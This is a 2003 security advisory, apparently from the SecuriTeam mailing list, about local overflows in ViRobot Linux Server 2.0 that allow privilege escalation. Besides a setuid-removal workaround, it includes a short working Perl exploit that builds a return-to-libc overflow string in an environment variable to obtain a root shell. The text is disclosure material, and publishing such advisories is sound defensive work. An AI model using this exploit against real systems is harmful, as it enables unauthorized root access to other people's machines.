[UNIX] ViRobot Linux Server Contains Several Local Overflows

From: SecuriTeam (support_at_securiteam.com)
Date: 08/21/03

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Date: 21 Aug 2003 09:50:33 +0200

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      ViRobot Linux Server Contains Several Local Overflows
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.globalhauri.com/html/products/fs_linux.html> ViRobot Linux
    Server, an antivirus solution for Linux, has been found to contain local
    security issues that allow gaining of elevated privileges.

    DETAILS

    Vulnerable systems:
     * ViRobot Linux Server version 2.0

    Workaround:
    Run the following command to remove the setuid bits:
    #chmod -s all suids in /usr/local/ViRobot/

    Exploit:
    #!/usr/bin/perl -w
    # virobot freebsd edition, might need tweaking but works on my
    4.8-RELEASE.
    # advisory written by KF at:
    #
    http://lists.netsys.com/pipermail/full-disclosure/2003-August/008672.html
    # this is an ugly hack, I am tired and heading for bed.
    # kokanin@dtors
    # $ perl ./DSR-virobot.pl
    # $ /path/to/virobot -d $STR
    # # echo look mommy no shellcode

    $fill = "A" x 256;
    $dummy = pack("l",0x41424344);
    $system = pack("l",0x08048e08);
    $pointer = pack("l",0x2819d780);
    local($ENV{'STR'}) = $fill . $dummy . $system x 2 . $dummy . $pointer;
    system("sh");

    ADDITIONAL INFORMATION

    The original advisory can be downloaded from:
     <http://www.secnetops.com/research/advisories/SRT2003-08-11-0729.txt>
    http://www.secnetops.com/research/advisories/SRT2003-08-11-0729.txt

    The information has been provided by <mailto:dotslash@snosoft.com> KF and
     <mailto:knud@skodliv.dk> Knud Erik Højgaard.

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